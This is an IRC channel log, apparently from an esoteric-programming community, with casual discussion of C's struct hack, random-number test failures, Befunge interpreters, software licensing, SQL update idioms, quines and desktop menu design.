05:36:53 <Bike> «Dennis Ritchie has called it ``unwarranted chumminess with the C implementation,''» i might be more sympathetic to this if i'd ever seen a conforming program in my life
05:37:13 <fizzie> int main(void) { return 0; } /* there you go */
05:37:32 <Bike> well this code does https://twitter.com/mnxmnkmnd/status/498249666216357889 so i'm just asking for pedantry reasons
05:41:00 <Bike> so in C before 99 there's no way to lay out a pascal string, is what i'm getting out of this
05:49:06 <fizzie> Not so "natively". You can have a char * and treat the first byte or few differently.
05:50:47 <fizzie> A char * can alias anything, so macros doing #define DATA(x) ((x) + sizeof (size_t)) and SIZE(x) (*(size_t*)x) should be okay, I think.
05:51:20 <fizzie> Add a pair of parens around x in the latter.
05:51:23 <Bike> i really don't like c's typos, i think.
05:52:14 <Sgeo> I just abused tables I think
05:52:30 <Sgeo> Momentarily tricked myself into thinking "playback button and two download links" counts as tabular data
05:56:10 <fizzie> The other day, I did a "table with no table", by having <form> <p> <label ... /><input ... /> </p> <p> ... </p> ... </form> and then CSS form { display: table; } form > p { display: table-row; } label, select, input { display: table-cell; }
05:56:15 <fizzie> I don't know if that's good or bad.
05:57:35 <fizzie> (Also the thing I made was a JavaScript port of a 12 years old poem generator. I'd've linked it here, but it's all in Finnish.)
05:58:03 <fizzie> (I'd written "sources coming soon" in the original, and for a decade now a friend had been reminding me of it.)
05:58:27 <shachaf> does it generate poems similar to ones written by 12-year-olds
05:58:34 <shachaf> (12-year-olds can write some good poems)
06:00:30 <fizzie> That depends on the 12-year-old, I'm sure.
06:00:36 <fizzie> http://zem.fi/runogen/
06:02:11 <elliott> <fizzie> That's the usual justification; it could throw some sort of an assertion error on access beyond that.
06:02:23 <elliott> fizzie: how does that interact with allocating space for 10 structs and using a pointer to that, in general?
06:02:36 <shachaf> i am amused at the finnish for "oh no"
06:02:57 <fizzie> elliott: I think the general expectation is that only declared arrays would be bounds-checked.
06:03:16 <fizzie> With some RTTI-style thingamajick.
06:04:11 <fizzie> But I don't know. Certainly it would sound to make more sense to just deal with bytes, and have malloc return something that contains the bounds of the allocated space.
06:10:04 <elliott> right, I'm just wondering if you can actually construct a conforming implementation that breaks the hack
06:10:30 <fizzie> Another scenario where I could possibly imagine the struct hack to fail is a segmented memory architecture, like the x86-16. You have to be careful with objects larger than 64k, and the compiler might look at the struct declaration, and compile those array accesses into something that is not careful, on account of the object always being small enough.
06:11:53 <elliott> it sucks that you have to reimplement structs on top of char arrays to get it to work nicely
06:11:57 <elliott> actually, maybe you could make macros for that?
06:12:09 <fizzie> [08:52:40] <fizzie> A char * can alias anything, so macros doing #define DATA(x) ((x) + sizeof (size_t)) and SIZE(x) (*(size_t*)x) should be okay, I think.
06:12:11 <elliott> have a struct define the data layout but allocate it as char * and use offsetof and casts
06:12:13 <fizzie> Wasn't that essentially it?
06:12:16 <elliott> yeah, but you could do it more generally.
06:12:52 <fizzie> I guess. You'd probably have to spell the type in each invocation of the macro, though.
06:13:20 <fizzie> Unlike regular member access.
06:13:27 <elliott> are you allowed to do like...
06:13:53 <elliott> &(((struct repr *)charptr)->array[100])
06:14:18 <elliott> but ((char *) (((struct repr *)charptr)->array))[100] is probably okay?
06:14:51 <fizzie> Hypothetical segmented-memory breakage: compile "a = s->p[b]" into "load canonicalized address s into fs:bx, then add b to bx without worrying about overflow".
06:15:22 <fizzie> s/add b/add offset of p and b/
06:17:32 <fizzie> (Segmented architectures are good for breaking "pointers are integers" assumptions.)
06:18:51 <elliott> how would a segmented architecture work with allocating a big (char *)?
06:19:15 <fizzie> You just represent pointers with (canonicalized) segment:offset pairs.
06:19:51 <fizzie> The point is that the compiler might (legally) look at the declared sizeof (struct s) and be all "I don't need to do the complicated address calculation since the object is small enough".
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07:16:16 <oerjan> <Phantom_Hoover> fuck, it's not been indexed <-- i am concluding that you've been transfered here from a parallel universe, and it never existed here hth
07:17:14 <oerjan> (your computer was also transfered. expect mysterious bugs.)
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11:16:04 <lambdabot> LOWI 111050Z 07006KT 040V120 9999 FEW008 SCT022 BKN070 18/16 Q1016 NOSIG
11:19:27 <lambdabot> EFHK 111050Z 15011KT 120V190 9999 SCT023 BKN200 24/17 Q1008 NOSIG
11:24:00 <lambdabot> ENVA 111050Z 13014KT 9999 VCSH SCT057 21/09 Q0999 NOSIG RMK WIND 670FT 15020KT
11:30:55 <fizzie> It has been a strange summer.
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13:41:32 <Deewiant> cfunge's RNG seems slightly less than robust: diehard_bitstream| 0| 2097152| 100|0.00000000| FAILED
13:58:30 <Deewiant> If I understand the man page correctly, that's the p of the 100 test run ps
14:02:10 <fizzie> The cfunge ? is just "random() % 4" though.
14:04:51 <fizzie> Perhaps it has poor low bits. Though I thought that was just an urban legend in modern systems.
14:09:07 <Deewiant> http://sprunge.us/ZSNC well, this program gives the same result on that system so yep
14:14:13 <Deewiant> Well, outputting all of random() also fails
14:17:33 <Deewiant> On two quite different systems, maybe glibc's random() is just rather less than good
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15:13:08 <Deewiant> arc4random does a better job (unsurprisingly?)
15:19:01 <Bike> really putting a damper on my funge port of openssl
15:20:41 <Deewiant> I think people don't realize the magnitude of this discovery; it means fungot hasn't realized its full potential
15:20:41 <fungot> Deewiant: so continue getting up in the same file?) tomorrow. :p
15:20:55 <fungot> shachaf: it might be worth considering using memq or memv...) idiom sounds like a good idea
15:23:16 <elliott> Deewiant: surely arc4random or whatever is a bit slow for general purpose ?, though.
15:23:37 <elliott> how slow *is* ccbi2/cfunge/whatever, compared to a realer interpreted language?
15:24:34 <Deewiant> Well you don't need a crypto-quality RNG to not fail that hard in dieharder
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15:25:18 <Deewiant> But I'm pretty sure you'd have to something stupid like k? to make RNG the bottleneck in a non-JIT funge interpreter
15:26:11 <Deewiant> And re. "how slow" my intuition says "very"
15:26:31 <Deewiant> Don't think a proper comparison has ever been done though
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15:33:34 <elliott> it can't be much slower than the original MRI, right? :)
15:34:33 <Deewiant> Ruby was the first comparison I thought of too but it's a bit of an outlier :-P
15:46:24 <elliott> are you saying funge-98 can't power web 4.0?
15:46:38 <elliott> before they all move to intercal because it's faster, or something.
15:46:43 <Deewiant> Sure it can, it just needs some more hardware than alternatives might
15:47:30 <elliott> that's okay, people love throwing money at EC2
15:48:08 <Deewiant> Anyway, feel free to write a somewhat time-consuming program in Ruby and translate it to Befunge-98 and give them a spin
15:51:27 <elliott> I don't think I've ever written a -98 program in my life.
15:51:44 <elliott> also it seems like it'd depend a lot on the kind of code structure you end up with.
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15:56:24 <fizzie> Deewiant: Did you test glibc's rand() too?
15:58:52 <fizzie> I can't quite get out of the glibc manual whether rand() and random() share the PRNG.
15:58:57 <Deewiant> Thus far seems to fail similarly
15:59:11 <fizzie> The latter's API allows for a larger state, at least.
15:59:47 <fizzie> On the other hand, "There is no advantage to using [random() and friends] with the GNU C Library", and "The BSD and ISO C functions provide identical, somewhat limited functionality."
16:00:14 <Deewiant> dieharder has built-in support for "rand48" which I guess is the same as lrand48 since its man page specs the generator
16:00:47 <fizzie> Oh, I guess it's standardized.
16:01:40 <Deewiant> It seems to fail but in different ways
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16:02:33 <fizzie> "idiom sounds like a good idea."
16:03:36 <fizzie> Also I generated some europarl test babble here, and one gem came out of it:
16:03:37 <fizzie> "i wish to draw your attention to the dangers for small publishers, we are unable to drink alcohol for health reasons."
16:06:56 <zzo38> Hardware with a kind of two dimensional address increment already exists, but it cannot run backwards. However, it should not be too much difficult to extend to make new thing which can run backward and forward too.
16:08:12 <fizzie> We were going to design a Befunge-y coprocessor on a "computer hardware architecture" course project, but then never did.
16:11:45 <zzo38> But the hardware I was refering to was the Nintendo Family Computer; the PPU (picture processing unit) has two dimensional address increment. I have taken advantage of this address increment for this other than graphics, actually.
16:13:33 <fizzie> i hope that the amendment from mrs auroi requesting the deletion of annex xv as an implicit violation of the principles of the world in the twenty-first century.
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17:35:39 <zzo38> What would you think of this so far? https://allthetropes.orain.org/wiki/User:Zzo38/Super_ASCII_MZX_Town You are expected to complain about it please.
17:38:54 <J_Arcane> I haven't messed with MZX in years.
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17:42:34 <zzo38> How much have you done with it at all?
17:43:47 <J_Arcane> Not a damn thing in over a decade.
17:44:58 <zzo38> But when you did, how much did you work on it?
17:46:16 <J_Arcane> I used to play around with ZZT as a kid, but never got far learning to actually make much. I knew about MZX then, but couldn't run it on my mono-screened 8086 and 286, but I tinkered with it later when I finally got a real computer.
17:49:01 <zzo38> I also used ZZT; I have figured out several things about it, and made good guesses as to other things. I have managed to decode the internal table of the kind of pieces, and have tried tampering with it to test my hypotheses, which turned out correct. This reveals why water has a forced color only in the editor.
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18:52:14 <HackEgo> [wiki] [[Befunge]] http://esolangs.org/w/index.php?diff=40282&oldid=40278 * 87.217.28.236 * (+90) /* Befunge-93 */
18:57:07 <oerjan> the pun is _too_ obvious.
18:58:16 <oerjan> Deewiant: you should add pass/fail marks to all of the listed interpreters twh
18:58:28 <oerjan> elliott: well it's a little awkward to explain
18:59:22 <oerjan> maybe you can reuse the featured article gif
18:59:35 <Deewiant> oerjan: Not interested enough in -93, those things are a dime a dozen
19:01:03 <oerjan> i wasn't finished checking that.
19:05:29 <oerjan> is this some predefined class? the mention in common.css has no image
19:05:53 <elliott> vector.css handles the rest
19:06:00 <elliott> in other skins it's just text in {{featured language}}.
19:06:08 <elliott> since the CSS to move an icon into the right place is skin-specific.
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19:08:08 <oerjan> oh, not reusable for this as is
19:15:02 <fizzie> I *really* should finish up that sedfunge.
19:16:07 <fizzie> (I started writing one at one point.)
19:16:45 <fizzie> I wonder how much it does.
19:17:08 <fizzie> There are some comments about stringmode, and implementations for 0..9 to push stuff.
19:17:25 <fizzie> That seems to be the entirety of implemented commands.
19:17:34 <Deewiant> As long as it has a ? that passes dieharder I'm happy
19:17:52 <fizzie> It doesn't have a ? at all, which probably doesn't count.
19:18:34 <fizzie> I like the bit that extracts the current command from the playfield, though: http://sprunge.us/GPKM
19:19:20 <Deewiant> Not having a ? counts as "always produces the same value" or "crashes" neither of which will make dieharder happy
19:19:48 <fizzie> Always produces the same value, in this case.
19:20:01 <fizzie> Though it doesn't have a "," either, so your test code would not generate any output.
19:21:09 <fizzie> Something zipper-like might've made the main loop faster.
19:22:12 <fizzie> Oh, the stringmode doesn't exist either.
19:23:23 <fizzie> At least the binary arithmetic is reasonably compact.
19:23:53 <Deewiant> Does it use GNU features or is it solaris-compatible
19:24:14 <fizzie> I don't really remember what GNU features are. It's just t, s and b.
19:25:19 <fizzie> I don't think it's anything non-POSIX. But it's *really* incomplete.
19:28:13 <Deewiant> eFLQRTvWz are GNU-only commands, ailrsw= have some GNU-specific stuff, and the address and pattern formats of course have some GNU extensions as well
19:28:26 <Deewiant> (Based on a quick browse of the info page)
19:29:54 <fizzie> I'm reasonably certain there's none of those.
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20:08:01 <mroman> Are there opensource license that can be altered?
20:08:16 <mroman> I.e. extended with my own conditions or changed otherwise
20:08:25 <quintopia> all the ones i know say any alterations require the name to be changed
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20:09:23 <mroman> I have no problem changing the Name of the license
20:09:23 <quintopia> and of course, no alterations are allowed when modifying a work already released under a particular license
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20:09:38 <mroman> the question is - however - if it's legal to change the license text of an existing license
20:09:46 <Bicyclidine> "The FSF permits people to create new licenses based on the GPL, as long as the derived licenses do not use the GPL preamble without permission. "
20:09:51 <mroman> (i.e. the license itself might be under some copyright law or something)
20:10:03 <elliott> licenses are copyrighted like any other work, sure
20:10:13 <elliott> unless legal documents are exempt from copyright?
20:10:17 <elliott> that sounds like it could be a thing in some jurisdictions
20:10:21 <mroman> I'd prefer something simple like BSD-style licenses
20:10:55 <Bicyclidine> elliott: there have been court cases about being able to sell legal documents, it's pretty funny
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20:14:58 <Bicyclidine> like that one photocopier thing, now that i think about it
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20:37:21 <mroman> what's the opposite of free of charge btw?
20:38:00 <elliott> depends on context. "at cost", say
20:39:19 <fizzie> Or "charged", as in, charged part..
20:41:22 <mroman> let's say I put it under BSD
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20:41:35 <mroman> somebody modifies it and redistributes it
20:41:44 <mroman> I'm a the sole copyright holder?
20:42:06 <mroman> i.e. what's the distinction between copyright holder and contributor then?
20:43:20 <mroman> I.e. let's say I don't care if they don't disclose the source as long as they donnate some money to a charity organization for example
20:43:28 <elliott> you both hold copyright over the resulting Foo.c.
20:43:33 <mroman> are such condtions even legal?
20:43:34 <elliott> you own sole copyright over the original Foo.c.
20:44:17 <elliott> everyone holds copyright on the contributions they made, but disentangling them from the whole means that any itemisation of ownership beyond, say, function-level granularity is iffy
20:45:06 <Bicyclidine> it's the sort of thing that leads to the GNU not accepting patches unless you cede copyright
20:45:56 <elliott> that's more because they want to be able to litigate violations of the license and change the license
20:45:57 <fizzie> Linux kernel doesn't, and as a result it now has a metric billion of copyright owners.
20:46:13 <elliott> (I think it's something you want for legal action, at least?)
20:46:44 <elliott> I don't know who would be able to sue for someone violating Linux's license. maybe the N top contributors joint or something
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20:47:28 <Bicyclidine> class action intellectual property suit. let's do it.
20:47:42 <fizzie> It also means nobody can change the license, since it's utterly impossible to get permission from every contributor.
20:49:21 <fizzie> I know that e.g. Apache doesn't quite do copyright assignments, but instead has a separate thing you sign (the Contributor License Agreement) that gives them a very permissive license to e.g. further sublicense your stuff.
20:50:17 <elliott> 21:45:56 <@elliott> that's more because they want to be able to litigate violations of the license and change the license
20:50:18 <Bicyclidine> exercise: apply http://homepages.law.asu.edu/~dkarjala/opposingcopyrightextension/commentary/MacaulaySpeeches.html to linux somehow
20:50:38 <fizzie> I like the parts of legalese that work by the "let's look at the dictionary for all possible related terms" principle.
20:51:16 <fizzie> "-- a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, --"
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20:53:12 <fizzie> A license to offer to sell, but not to sell, sounds useful.
20:57:47 <Bicyclidine> i can imagine it. like, a firm that advertises but when it comes to the actual sale they refer you to the seller and get a finder's fee
21:01:12 <zzo38> For random number tests, I know there is Diehard and stuff but I have the other idea, where basically you have a program of type ((Eq x, Ord x, Enum x) => Free ((->) Bool) x) for some kind of x.
21:01:44 <zzo38> How well do you expect such thing to work?
21:01:48 <shachaf> zzo38: Do you have more ideas about LeftCo now?
21:03:18 <zzo38> Yes, in fact I realized what it was the next day after you showed me but may have forgotten to mention it.
21:04:06 <zzo38> But now I forgot the type so can you remind me again please?
21:04:24 <shachaf> "data LeftCo m f x = forall z. LeftCo (f (m z) -> x) (f z)"
21:06:51 <zzo38> O, yes it appears to be a comonad: duplicate (LeftCo x y) = LeftCo (\a -> LeftCo (x . fmap join) (return <$> y)); I think. Maybe I made a mistake though...
21:10:02 <zzo38> Does this looks like correct to you?
21:10:30 <zzo38> O no, I think (return <$> y) is probably wrong, I guess
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21:10:42 <zzo38> Just y by itself I think
21:10:46 <shachaf> Where did the type come from?
21:11:59 <zzo38> I don't know where it come from
21:12:14 <zzo38> Apparently "m" means monad and "f" means functor, though
21:12:32 <shachaf> f is used twice, which is a bit odd.
21:13:16 <shachaf> I came up with data Oc m a = forall x. Oc x (m x -> a) (which is just LeftCo with f=Id) before seeing your post
21:13:24 <shachaf> But that doesn't work very well
21:13:33 <shachaf> So I'm wondering what the function of f is.
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23:42:00 <zzo38> But what would you think of this new kind of probability stuff I proposed too?
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00:26:55 <Sgeo> How soon until Backpack becomes the Haskell way to do things?
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00:56:49 <quintopia> once it stops being what you carry to hike a long way
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02:01:00 <zzo38> I think Haskell can be a convenient notation for describing many things (in a kind of mathematical kind of way), whether or not the program is actually written in Haskell (or even if it is not a computer program at all).
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02:52:06 <Sgeo> I may have told someone that dynamically making an SQL query is not necessarily that terrible... after checking that the possible insertion is one of a fixed number of possibilties
02:52:26 <Sgeo> https://github.com/PoseidonAW/Py_RPG/commit/dd00ec6dc0653a5a54bc67fea79a1a269c2c5d9e#commitcomment-7349049
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05:23:24 <fizzie> Sgeo: (Assuming that 'name' is an unique field,) how is the behavior of that select-and-fetch-and-update any different from the single query UPDATE players SET foo = foo + ? WHERE name = ?
05:24:05 <Sgeo> fizzie: I didn't write the code nor look at it that closely, but I can make the suggestion
05:24:07 <fizzie> (You don't get to print the old and new values with that, of course, but that seems more of a debugging thing.)
05:24:54 <Sgeo> Wait, you can do math in SQL?
05:26:47 <fizzie> The behavior might be slightly different on overflow.
05:28:01 <zzo38> Yes of course you can do math in SQL.
05:28:31 <zzo38> It is a full programming language.
05:28:50 <fizzie> The Python addition will switch from 'int' to 'long' (bignum), and I'm not entirely sure whether the insert of a too large value will do exactly the same thing than what the database would do on overflow during expression evaluation. But it doesn't seem to be carefully considering that in any case.
05:30:19 <fizzie> If it is/becomes necessary to know whether the update affected any rows (like for calling update_stats or not), testing for cursor.rowcount > 0 is an option.
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05:39:16 <elliott> why does python call bignums long anyway
05:40:29 <fizzie> Because they're so long. (Really, it's v. confusing.)
05:41:25 <fizzie> Makes me wonder if an early Python had fixed-but-different-size int and long.
05:42:33 <fizzie> (Also its ints are C longs.)
05:50:07 <fizzie> Python 3 calls both types 'int' and just handles the distinction between fixnums and bignums internally.
05:57:47 <Bike> what about the long bignums, used to represent numbers too large for positional numeral to be practicable
06:43:15 <Sgeo> And LiterallyUnbelievable misses the joke... http://literallyunbelievable.org/post/93775401734/i-suspect-genetics-plays-a-role
06:43:50 <Sgeo> Unless it doesn't just do people who take The Onion literally
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06:52:49 <fizzie> "So please propose topics both in Finnish and English! (and if possible for you, Swedish would be useful, too. We have a couple students wiring in Swedish each semester.)"
06:52:58 <fizzie> I wonder how Swedish wiring differs from the regular sort.
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07:03:43 <olsner> maybe it was supposed to say "writing"?
07:08:00 <oerjan> nah it's a holdoff from the 50s when the swedes drove on the left side
07:13:25 <olsner> I think that continued a bit into the 60s actually
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08:10:58 <scshunt_> quick poll: how many of you can reliably ping uwaterloo.ca?
08:12:27 <scshunt_> unrelated: america again is an excellent book
08:12:56 <scshunt_> it has a wonderful story about the aynt and the grasshopper, which ends with Ayn Rand crushing them both underfoot because the ant colony reminded her of communism
08:21:15 <scshunt_> hhmmmm... I need a machine I can reverse tunnel through :
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08:27:59 <J_Arcane> This is the most complicated thing I have ever done in assembly. https://github.com/jarcane/MicroMini/blob/master/helloworld.mmasm
08:30:42 <J_Arcane> Next to make a Quine of it. :D
08:32:22 <J_Arcane> MicroMini, the virtual machine I built (code is elsewhere in that repo).
08:37:17 <oerjan> the conundrum with assembly quines: are they intrinsically cheating or not
08:37:47 <oerjan> i suppose they don't have to be
08:40:02 <shachaf> oerjan: i think intrinsically cheating would usually be done in higher-level languages like c
08:40:11 <shachaf> in assembly you would just write the instruction
08:40:12 <J_Arcane> Actually come to think of it I am not sure how I'd even do a quine with that. I guess maybe I could just change the test so that the printer loops over the entire program.
08:40:48 <oerjan> shachaf: i mean, it is usually considered cheating for a quine to access its program code directly
08:41:06 <J_Arcane> But I think that'd just produce a lot of garbage. And if I printed everything from a data string, that data string would itself have to contain the data string ad infinitum.
08:41:18 <shachaf> oerjan: presumably an assembly quine would need to print the assembly input, not the generated code
08:41:32 <shachaf> oerjan: anyway it was just trying to be an "intrinsic" pun of some sort
08:41:49 <shachaf> as in https://en.wikipedia.org/wiki/Intrinsic_function
08:42:16 <fizzie> It's like watching a train wreck.
08:42:19 -!- oerjan has set topic: The place where puns go to die | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
08:42:35 <fizzie> Except I don't think I've ever watched one.
08:43:01 <shachaf> #trains is probably the channel for them
08:44:16 <oerjan> <J_Arcane> [...] And if I printed everything from a data string, that data string would itself have to contain the data string ad infinitum. <-- you're not very well acquainted with quines, i take.
08:44:42 <J_Arcane> No, I'm not really, beyond the wiki entry and a few mentions here.
08:44:53 <J_Arcane> Perhaps I've misunderstood the directive.
08:45:21 <J_Arcane> Err, words failing, brain tired: read instead intent/instructions/etc.
08:46:44 <oerjan> anyway the clue is that you use the data string _twice_, once to print the data string and once to print the rest of the code. (possibly not in order.)
08:46:50 <fizzie> The prime directive is to not interfere with natural quine development.
08:47:30 <oerjan> fizzie: to that i say, what evidence have we that quines have _ever_ developed naturally
08:48:22 * oerjan sweeps the body of godel under the rug
08:49:54 <oerjan> maybe the universe is a quine that has always existed, and the others are mere subcopies of it.
08:50:06 <scshunt_> oerjan: I don't think it's cheating to access the program code directly
08:54:56 <elliott> a C program that printed out its machine code would be cool
08:55:08 <elliott> by which I mean, its compiled executable
08:56:19 <oerjan> i think you can print any computable function of the code, so that shouldn't be too hard
08:56:21 <elliott> bonus points if it works with multiple OSes and compilers
08:56:33 <elliott> oerjan: in less code than gcc, preferably :)
08:56:49 <elliott> it's probably not actually that hard.
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09:02:16 <Taneb> One think I want to do is write a standards-compliant but horrible C implementation
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09:02:54 <oerjan> make sure it doesn't support the struct hack
09:02:58 <fizzie> You mean a DS9K simulator?
09:03:13 <oerjan> _either_ 1 or MAXSIZE form
09:03:37 <Taneb> fizzie, along those lines
09:03:38 <oerjan> has anyone made a DS9K
09:04:33 <fizzie> There have been some attempts, but I don't know of anything that really went anywhere.
09:06:34 <fizzie> ds9k.com is... a blog about freeware programs?
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09:08:48 <Deewiant> I think I got as far as having part of a preprocessor and most of a tokenizer
09:09:13 <fizzie> Deewiant: That's longer than the most prominent Google hit of https://github.com/nitrix/ds9k
09:10:39 <Taneb> "Removing the hard drive from the PC and hitting it with a large hammer will stop easy access to the data but will not stop a more determined attacker unless you use a very large hammer."
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09:11:02 <Taneb> -- actual text of a university policy here
09:12:28 <Deewiant> Yep, I've got some 1500 lines of Haskell that probably doesn't compile against modern library versions
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11:18:54 <nooodl> hm: isn't befunge's thing where it "tries to be hard to compile" sort of meaningless
11:19:34 <nooodl> i mean an interpreter in C with fixed source code is pretty much "compiled befunge"
11:21:30 <Deewiant> It's pretty much but not really
11:23:46 <nooodl> it's admittedly kind of a cheaty solution but what's really the difference!
11:23:47 <Deewiant> For one thing, when done like that, ahead-of-time compilation doesn't improve performance over plain interpretation
11:24:37 <Deewiant> Which is something that you'd usually expect to be the case and is I guess the original main reason for compiling stuff
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11:40:23 <Phantom_Hoover> i guess to do it 'properly' you'd have to incorporate a JIT compiler into the final executable
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11:58:27 <Deewiant> I don't think that counts any more than embedding an interpreter does
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12:18:18 <Phantom_Hoover> Deewiant, eh, i think it satisfies the criterion that separarates compilers from 'interpreters bundled with source'
12:21:26 <fizzie> The good old compiler debate rears its ugly head.
12:22:47 <fizzie> oerjan: Does ##fixyourconnection exist?
12:23:45 <fizzie> ##c auto-redirect-bans to ##stop_join_flood, so I guess there's competition in the market.
12:26:56 <Deewiant> Phantom_Hoover: "JIT compiler bundled with source" seems like a variant of the latter to me
12:28:07 <fizzie> fungot: How did it feel when you were compiled?
12:28:08 <fungot> fizzie: i just had a blank program.
12:28:18 <fizzie> Must've been terrible.
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12:31:16 <Phantom_Hoover> Deewiant, not necessarily bundled with source, just used on the result of g/p instructions
12:31:29 <Phantom_Hoover> ...which, now i think about it, is the same as the actual source
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16:54:08 <lambdabot> LOWI 121620Z 07004KT 040V110 9999 FEW025 SCT055 BKN065 17/12 Q1015 NOSIG
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17:00:18 <int-e> and LOWI is the ICAO code for the local airport.
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17:32:35 <FreeFull> http://www.pouet.net/prod.php?which=63944
17:35:24 <Taneb> Yesterday I was thinking about base -2 arithmetic
17:40:30 <Melvar> I like symmetric base 3.
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17:46:19 <nooodl> FreeFull: i have no clue how to run this
17:46:45 <nooodl> the link in the readme is just broken too wow
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17:57:42 <FreeFull> nooodl: run npm install in the directory, and then node app.js
17:57:55 <FreeFull> I had trouble figuring it out myself
17:58:06 <FreeFull> Taneb: Yeah, it's called negabinary
18:01:03 <J_Arcane> That is evil. http://en.wikipedia.org/wiki/Negative_base
18:02:45 <int-e> though counting takes some getting used to. 0 1 110 111 100 101 11000 ...
18:04:20 <int-e> right. the last one should be 11010.
18:05:57 <int-e> nega-zeckendorf representation is worse.
18:12:18 <Phantom_Hoover> or golden ratio base, every time i think i understand that i forget the details
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18:52:51 <quintopia> boily! haven't seen you around here in a bit...
19:03:52 <boily> I was with my parents, enjoying the sun, the narrow streets, the tapas, the architecture...
19:03:58 <nooodl> what happens in spain stays in spain
19:04:23 <boily> nooodl: sadly yes. I'll miss the food.
19:04:36 * boily recalls the taste of the delicious chipirónes...
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19:53:59 <fizzie> Huh, gedit (I use it occasionally to look at clipboard, as opposed to selection) has turned into something completely different-looking. It no longer has regular menu bars, instead it just has a combined toolbar-titlebar thing, and a rounded-corners-and-drop-shadow window that it draws itself. With a XMonad-drawn solid red border hovering a centimetre away.
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19:54:58 <boily> fizzie: disgraceful!
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20:06:55 <fizzie> https://dl.dropboxusercontent.com/u/113389132/Misc/20140812-gedit.png just look at that stuff
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20:10:42 <boily> (nice fungot backdrop, tho.)
20:10:42 <fungot> boily: you want a bit of a functional solution first if i can put it on pretty much everything is better nekkid
20:10:54 <int-e> yay for oversized buttons and fonts
20:11:00 <boily> fungot: I like your source code naked, you kinky bot you ;)
20:11:01 <fungot> boily: yeah, that too. seemed to confirm people's satanic conspiracy theories about lucent... but then, i have no clue what you are
20:11:17 <boily> fungot: I am an abnormally tanned Canadian.
20:11:17 <fungot> boily: ( b)? no way, twb, but he's doing an excercise, so that's good.
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20:11:32 <fungot> boily: that's 22 tokens in all.
20:11:43 <boily> fungot: I have a 5 euro bill. will that do?
20:11:54 <int-e> and what's up with this recent averseness to menu bars?!
20:12:34 <fizzie> The "cogwheel button" pops up a giant menu with everything in it.
20:13:35 <fizzie> Save functionality, search and replace, fullscreen mode, spell-checking, syntax highlighting, help, about, close, quit.
20:13:47 <fizzie> It's all related to cogwheels.
20:13:56 <J_Arcane> fizzie: GNOME developers have started drinking the tablet koolaid, sadly.
20:14:11 <J_Arcane> It's kind of a big schism right now.
20:14:11 <fizzie> Sorry, only "save as" and "save all". The regular save is the button with the arrow.
20:14:16 <int-e> at least the cogwheel is nicer than firebox's "menu bar" bars
20:14:32 <fizzie> The three parallel horizontal bars?
20:14:41 <boily> I want my floppy! how will I know what newfangled button will save?
20:14:42 <int-e> (from a purely aesthetic point of view)
20:14:46 <int-e> fizzie: yes that one
20:14:48 <fizzie> I've got that in both Chromium and Icedove here, it must be some kind of a standard.
20:15:06 <int-e> I don't have it in firefox anymore, but it took some effort ;)
20:15:09 <J_Arcane> int-e: Man, the Firefox menu button doesn't even make *sense*. At least the one on Chrome actualyl brings up a list; the FF menu is actually an icon bin.
20:15:23 <fizzie> Cogwheels are everywhere in Android, too.
20:15:45 <int-e> I think it's this userChrome.css entry: #PanelUI-button { display: none !important }
20:16:10 <fizzie> The Icedove/Thunderbird menu bar button menu (...) is a two-panel menu.
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20:17:58 <fizzie> https://dl.dropboxusercontent.com/u/113389132/Misc/20140812-icedove.png
20:18:13 <TieSoul> I just implemented Deadfish in TI-BASIC. Reminds me why I avoid programming in it.
20:18:14 <fizzie> I guess it's mostly a two-column menu except with some icons thrown in.
20:19:35 <int-e> oh, ice*dove*, not iceweasel.
20:20:08 <int-e> that looks the same here. for some reason I don't notice the button so much though
20:20:58 <int-e> (the reason is actually simple - I have a search bar at the rightmost end of the iceweasel tool bar, and that gets displaced by the useless menu button)
20:21:17 <int-e> I activated the menu bar in icedove.
20:22:04 <int-e> But I'd quit using Ctrl-Q.
20:22:26 <fizzie> I can never remember whether it's ctrl-q or ctrl-shift-q or what in which program.
20:22:32 <fizzie> Chromium does ctrl-shift-q.
20:22:42 <fizzie> I get those two mixed up.
20:22:58 <fizzie> The "compose a new message" window in Icedove has a regular menu bar.
20:23:00 <int-e> it should be ctrl-q
20:23:13 <int-e> icedove really messes me up with its redefined ctrl-f
20:23:40 <int-e> no, "forward" is not important enough to steal a standard keybinding.
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20:33:45 * boily playfully mapoles oerjan
20:34:47 <oerjan> did you know metasepia has been fired
20:34:59 <oerjan> lambdabot took eir job
20:35:07 <lambdabot> ENVA 122020Z 16006KT 100V220 CAVOK 18/08 Q0994 RMK WIND 670FT 19019KT
20:35:37 <boily> NOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO!
20:35:48 <lambdabot> CYUL 122000Z 15021KT 15SM FEW055 BKN085 OVC220 27/14 A2993 RMK CU1AC4CI3 SLP136 DENSITY ALT 1400FT
20:35:51 <shachaf> i never metasepia i didn't like
20:35:57 <olsner> that's what happens when you log out your bot, boily
20:36:03 <oerjan> i'm sorry, but you cannot expect a bot to keep a channel job with that kind of spotty attendance.
20:36:06 <lambdabot> this would never have happened if metasepia had actually been here reliably.
20:36:34 * boily mapoles shachaf for that horrible pun.
20:36:44 <boily> oh well. such is life.
20:37:05 <int-e> boily: you should be proud. ~metar was so useful that I missed it when it wasn't there :P
20:37:21 <oerjan> the proper punishment for meta-puns is the falling anvil hth
20:38:10 <boily> there's an official Chännel Änvil?
20:38:22 <oerjan> well, mostly i'm the one getting crushed by it
20:38:33 <oerjan> i supposed it's rare these days.
20:39:49 <oerjan> i'm sure you could have looked it up in the logs, back when HackEgo had them >_>
20:40:40 <boily> too complex for my jetlagged brain.
20:40:46 <boily> (besides, I think I'm hungry.)
20:41:38 <olsner> how do anvils work on irc anyway?
20:41:54 <boily> probably the same as they do in minecraft?
20:42:05 <boily> I wouldn't know. I never touched an anvil.
20:44:40 <int-e> boily: well, it's simple: you drop the anvil; the target feels suitably smashed; life goes on.
20:45:05 <int-e> (step 2 is optional)
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20:49:34 <shachaf> step 2 is the most important one
20:52:05 <oerjan> i think step 1 is the optional one - the anvil is not to be trusted.
20:54:20 <shachaf> step 3 is not so much optional as irrelevant
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20:57:42 <int-e> but step 3 is a crucial difference between IRC and real life
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21:13:18 <boily> I musn't be tempted by the mattress. I mustn't be tempted by the mattress. I mustn't be tempted by the mattress. my mind is pure and completely devoid of any visions of sleep.
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21:22:34 <boily> I won't be that easily corrupted by those earthly delights.
